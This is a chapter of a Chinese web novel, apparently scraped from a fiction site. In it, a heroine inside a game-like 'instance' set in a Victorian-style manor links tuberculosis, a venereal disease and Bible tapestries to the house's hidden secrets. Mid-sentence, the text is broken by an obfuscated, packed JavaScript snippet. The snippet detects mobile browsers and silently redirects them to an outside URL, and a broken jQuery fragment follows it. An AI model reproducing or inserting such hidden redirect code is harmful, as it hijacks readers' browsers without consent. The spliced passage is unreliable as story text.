文趣网 > 都市小说 > 我说没有最优解尼尔多隆吗 > 13. 艺术沙龙(13)
    郑鑫这话把姜照蕴问住了。

    虽然姜照蕴私心认为这幅画比画家威廉整个房子里的画都要有内涵,但副本毕竟不是艺术鉴赏课,不需要她做这么多赏析。

    姜照蕴想了想,道:“这幅画被藏起来了。”

    “所以?”郑鑫瞪着双眼睛盯着画——事实上她已经这么做过好几次了,“你刚刚说的那些,总结下来就是两点,一是异域风情,二是人物比较特别。但这房子里有异域风情的画不止这一幅,至于人物……恕我直言,你真的不觉得‘主体性’是你的主观感觉吗?”

    姜照蕴:“……”

    难以反驳。

    但郑鑫不是张文杰,不会点着个引线就噼里啪啦,她的语气依然平缓。

    “如果是我看这幅画,我会关注的是画中的女人是什么身份。你看这里,”郑鑫掀开了一个木箱箱盖,露出了里面的衣服,“这就是我之前汇报的少女的衣服。虽然最正常的猜测是这些衣物的主人是画中人的女儿,但这间密室就没有一样东西是正常的,和其他线索也搭不上关系。”

    姜照蕴:“……”

    难以反驳。

    所以这幅画为什么会被藏起来?难不成真的因为画中人是画家威廉的情人,衣物的主人是他的私生女?

    但最重要的一点是!虽然她们一直在姑且当画中人是女人——因为那头长发,但实际上她根本没有性别特征的,分不清男女!谁家情夫给情人画画是这么个画法?

    姜照蕴发现在她支使了张文杰和郑鑫绕了这么一大圈,费劲力气之后,好像依然什么结论都没得出来。

    吊诡的密室,吊诡的画家威廉。

    “你还有什么想看的吗?”郑鑫也不失望,“没有的话就赶紧回去吧,时间不早了,别让人发现你到处乱跑。”

    姜照蕴只能悻悻然回头了。

    不料在她们赶回房间的路上,突然听到了楼下传来了极大的喧哗声。

    怎么回事?

    姜照蕴刚想脚步一转下楼,就被郑鑫给推了回去。

    “我去处理,你回房间。”

    ……这伙探索员们专制起来简直是一副德行。

    但姜照蕴不得不承认郑鑫的选择是对的。她一个伯爵小姐,现在一身女仆装,在别人家的房子里游荡,要是让人看见了,怕不是要翻天了。

    她赶紧加快脚步回了自己房间,快手快脚地把女仆装给脱了藏起来,正要换回她自己的日装礼裙,突然听到门开了,吓得她手一哆嗦,差点把裙子给掉地上。

    好在进来的是她母亲,母亲也没有对她这一副准备穿衣服的样子感到奇怪。姜照蕴赶紧借身体的遮挡,偷偷伸手把被褥给翻乱了些,假装自己刚睡过了一觉。

    母亲坐了下来:“他们吵到你了?”

    “……对。”姜照蕴被迫承认,“发生了什么吗?”

    “一个女仆突然发了疯病,”母亲说,“我本来觉得巴里克夫人治家严谨,现在看来也不过如此,竟然雇佣了一个疯女人做女仆。”

    又来了个新消息,不,新线索。

    这个副本明显和疾病有关,李越出现了肺结核的症状,张文杰的症状甚至连对应的疾病都没找出来,现在又添了一个疯病……

    这些疾病难道不是只有她们这些外来者才会得的吗?难道副本土著也……

    等等,这个疯病真的是病吗?

    姜照蕴突然产生了一个可怕的想法。

    “妈妈,发了疯病的女仆是哪一个?”

    “这我怎么知道?”母亲莫名其妙,“我又没见到。”

    “……”

    姜照蕴想起了张文杰最早和她说起过的副本同化和丧失自我,所以现在,张文杰成了第一个受害于此的人吗?

    她……还有救吗?

    可她们对通关副本依然毫无头绪,连画家威廉是不是副本主要人物都不能确定。

    而疾病……

    “妈妈,你知不知道有一种病?”姜照蕴问道,“会让人身上长很多红疹,但这些红疹很快……不是,过一段时间之后就会消失?”姜照蕴问着问着,鬼使神差地补充道,“在红疹之前,可能会有一些边缘隆起,中间凹陷的圆形……伤口,同样会过一段时间消失。”

    那在昨天出现,夜里消失的,粘在天花板上的圆饼突然闯进了她的脑海。如果这个也是病呢?如果它和夜里出现的红斑是连续的,代表着同一种病呢?

    虽然张文杰并没有出现过这种症状,但谁知道呢?她们这帮人闯副本,满心满眼都在副本上,若是没有明显感觉,忽视掉不是很正常吗?张文杰连身上手上的红斑都还是郑鑫发现的。

    她也只是病急乱投医,才会拿这件事去问母亲,本以为只会得到一个“不知道”的回答,不料母亲突然横眉立目:“谁跟你讲的这些?”

    姜照蕴被母亲突然的责问打得懵了一下,紧急翻起了记忆看谁能被拉出来背这口锅。

    “……和朋友们聊天的时候聊起的,不记得是谁说的了。”

    “以后不要跟人说这个。”母亲教训道,“好人家的女孩子不应该知道这些。”

    ……?

    她就是问了一个疾病,怎么扯到女孩子应不应该知道上了?

    布兰德伯爵家虽然家教比较严,但母亲对于知识的态度是比较开放的,她有个姐姐还对新式医学——解剖学那些的——感兴趣呢,也没见母亲对她说些什么,顶多是让她在社交季的时候把这些兴趣藏一藏。

    母亲的态度不太对。

    对于一个未婚贵族小姐来说,什么知识是“不应该知道”的?

    姜照蕴试探地问道:“是……那方面的吗?”

    母亲不轻不重地拍了她的头一下:“说什么呢!”

    果然是。

    和性有关。

    所以那些症状,是性病。

    这个时代对未婚女孩要求足够“纯洁”,不管知不知道性知识,都必须表现得一无所知,更别说是作为道德和婚姻丑闻的性病了。

    19世纪比较流行的性病是什么?梅毒?

    姜照蕴也不是医生,不知道梅毒是什么症状,但性病应该是八九不离十了。再说她也分不清不同性病有什么区别,就先当作是梅毒好了。

    那现在浮在水面上的两种疾病,一个是肺结核,一个是梅毒,这两种病和这个副本有什么关系?这座房子里有人得这两种病吗?

    连面都见不到的画家威廉?

    她隐隐觉得哪里不太对。她应该是看到了哪里有什么线头,但抓不出来。

    可能是看姜照蕴脸色不太好——好不了,熬了个大夜,又殚精竭虑思考副本的——母亲关切地问道:“瑞秋,你感觉怎么样?午餐时间快到了,你要不要继续休息?我让人送餐上来。”

    好问题。

    是下去一起吃午餐,继续向以画家夫人为代表的副本土著们打听消息,还是留在房间,继续偷跑出去探索——但是有被发现的风险,这次可能没有郑鑫或张文杰帮忙了。

    “我觉得好多了。”姜照蕴道。

    午餐入座前,她又一次在客厅里见到了李越。

    但她差一点没敢认。

    短短几个小时,李越瘦了一大圈,几乎形销骨立,脸色惨白,双眼通红,胸中似乎还闷着咳嗽,连呼吸都似乎有些艰难。

    有人上前询问他是否有什么不适,被李越含混着打发了。

    这可真是……

    肺结核本身已经很折磨人了,更何况是被副本强行加快了病程的肺结核。

    再快进点儿就可以进坟墓了。

    姜照蕴趁人不注意低声问了他一句:“你怎么样?”

    “还没死。”李越声音沙哑,把咳嗽强行吞下去,“张文杰疯了。”

    虽然早有猜测,但此时得到了证实,姜照蕴依然心下一沉。

    “但他的状态不太寻常,可能还有希望。”李越道,“大部分探索员被副本同化都是温水煮青蛙,不知不觉间被替换的。但也有少数人意志特别坚强,死活不肯向副本人格妥协,就会变得像精神分裂。我还是新人的时候见过一个这样的例子。但张文杰不一样。”

    他没忍住偏过头咳嗽了几声,不得不言简意赅,加快语速:“他的表现更像失智,还有情绪失控。”

    姜照蕴余光瞥见母亲的视线扫过来了,如芒在背,只能匆匆离开,回到母亲身边。

    到了餐厅,午餐开始。徐一清混在上菜的男仆里,深色凝重地向姜照蕴摇了摇头。

    姜照蕴没能理解他这意思是情况不好还是已经完蛋了。

    她有点明白为什么探索员们会设置一个“黄金24小时”了,并不是副本真的有这么一条死线,过了24小时所有闯关者一起死。而是探索员在用这一条线来警戒自己,越靠近这条线,就越危险。

    这里的午餐时间是接近下午两点,她们进入副本的时间是昨天下午三点多些,黄金24小时已经只剩不到两个小时了。

    同样缺席午餐的还有画家威廉。

    她对这个“消失的男主人”已经没什么脾气了。

    姜照蕴一边用餐,一边漫无边际地思索。她们已经几乎把这座宅邸翻了过来,每一寸地面都搜过了,实在想不出有什么盲点。

    但副本却几乎陷入了僵局。现有的线索里,还有什么没发现的突破口?

    想着想着,她又和墙上那幅自画像对上了视线。

    圣徒和蛇,光环和禁果。

    这个渎神者。

    都是看过的画,她连画中世界都进过了,没什么特别的。

    姜照蕴收回了视线。就在这时,她的余光扫到了餐厅另一面墙壁上挂着的经文挂毯。

    那是《圣经》的经文。

    姜照蕴陡然愣住了。

    仿佛有一道闪电劈中了她。

    墙上那幅自画像原本是没有蛇和光环的,这两个元素是在她昨天晚餐时看画,意识到了画中人的戏谑与傲慢之后才浮现出来的。

    还有画廊那幅画,画中央的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881341|212471||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    赤.裸尸体也是在她隐约感受到了画作的蛮荒与神圣才浮现出的。

    所以……这些都是原本不会展现出的东西。

    是有什么存在想要遮掩什么吗?

    要遮掩什么呢?

    墙上挂着大幅的经文挂毯……

    这个副本的时代十分像19世纪的英国,每个人都是默认的基督教教徒,但寻常人家——她是说,寻常的上层阶级人家——家里通常是不会用圣经经文挂毯这种宗教意味浓厚的装饰的。

    但也有可能是主人家有什么特殊的癖好。这很正常,谁家里没点别人家没有的东西?哪怕是同样追逐流行,不同家庭的女主人也会给家里布置出不同的风格。

    毕竟这是别人家,不是自己家。

    而如果这经文挂毯不是普通装饰,而是代表了些特殊意味呢?

    那些画里被隐藏起来的部分,是要遮掩什么?

    要遮掩的……难道是渎神的痕迹?

    蛇和光环。

    赤.裸的尸体。

    毕竟虽然欧洲传统绘画里常出现裸體,但那都是神——不管是希腊神还是天使还是什么别的。画人的裸體,在传统基督教社会里是非常道德败坏的行为。

    ……话说回来,她是不是没有告诉李越画廊那幅画里浮现的尸体是裸體?

    姜照蕴回忆了一下,她当时从画中世界那无可反抗的死亡压制里脱出,完全维持不住体面,在母亲的视线下只能赶紧拿身体不适当借口——也不能完全算是借口,匆忙之下好像只告诉了李越画里出现了尸体。

    ……值得反思。

    姜照蕴低声向身边的母亲告了一声离席,装作是去盥洗室,匆匆离开了餐厅。

    她习惯性想要寻找张文杰的身影,但这次没能找到。

    徐一清需要履行男仆职责,走不开。李越和郑鑫同样不知所踪。

    这似乎是她进副本以来第一次完全独立行动。

    时间紧迫。以盥洗室为理由最多只能拖十分钟,再久就只能装作突发身体不适回房间了。

    姜照蕴扫视了一圈走廊,没发现什么问题。沿着走廊走一段,穿过一道雕花门,就是宽大的客厅——她刚进副本时身处的地方,如果不算画中世界的文盲雨林的话。

    等等?文盲雨林?

    姜照蕴强行忍住拍自己脑门的冲动。她怎么把这件事给忘了?

    她在客厅里找到了那幅文盲雨林的画,是“画得好看”的画,换句话说,是画家威廉去热带殖民地之前的画。

    她不懂植物学,看不出画中的树种,但那都是文盲雨林了,树种也没那么重要了。

    所以这幅画有什么意味?

    意味着画家威廉在去热带殖民地之前对雨林和土著的想象?

    还是看画的人对画中内容的想象?

    画家威廉在对着本地森林试图依葫芦画瓢?

    还是后人依据刻板印象进行的牵强附会?

    开放性问题总是最讨人厌的。姜照蕴面无表情地想。

    再想下去也没什么意义,她不准备在这里浪费更多的时间了,转身准备离开。就在这时,她看见了客厅中央的一张小桌,上面供着一本半旧的精装大书。

    这张小桌和上面的大书非常显眼,她很早就看见了。但此前她并没有给它多少注意力,只以为这是主人家的装修癖好,或是用来显摆的珍稀藏书。

    此时她靠近这本书,这才发现这不是什么珍稀藏书,而是一本《圣经》。

    客厅里供圣经。

    如果早些时间,她不会在意这件事。毕竟这座房子里古里古怪七零八碎三不沾两不靠的线索实在是太多了。但现在已经有了经文挂毯作为先决印象,再看这本供在客厅里的圣经,它就显出了一些不同寻常的意味。

    虔信徒。姜照蕴心想。

    这时,一个陌生女仆向她走了过来,轻声问她是不是要去盥洗室。

    姜照蕴看着这个陌生女仆,前所未有地意识到她的队友们此前为她提供了多少帮助。

    她才离开人群多久,探索就已经被打断了。

    “噢,是的。”姜照蕴听到自己这么说道,“我迷路了。”

    女仆于是默不作声地为她带起了路。

    “你们家的少爷,”走着走着,姜照蕴突然出声,“是一个非常虔诚的基督徒,对吗?”

    画家夫人确实是默认的基督徒,但她不是极度虔诚的基督徒。现代人很难想象,但在这个时代的人眼里,一个虔信徒的言谈举止是十分明显的。如果画家夫人是一个虔信徒,她会非常自然地使用一些宗教表达,比如“上帝的祝福”、“蒙上帝恩典”、“若主许可”之类的,没什么特殊意义的口癖。不是说普通基督徒不会这么说,但虔信徒的这些口癖会频繁得多。

    画家威廉是一个渎神者,画家夫人只是一个普通基督徒。

    那这个家庭里,还有谁可能是这个虔信徒?

    “是的。”陌生女仆回答道,“少爷是非常虔诚的牧师。”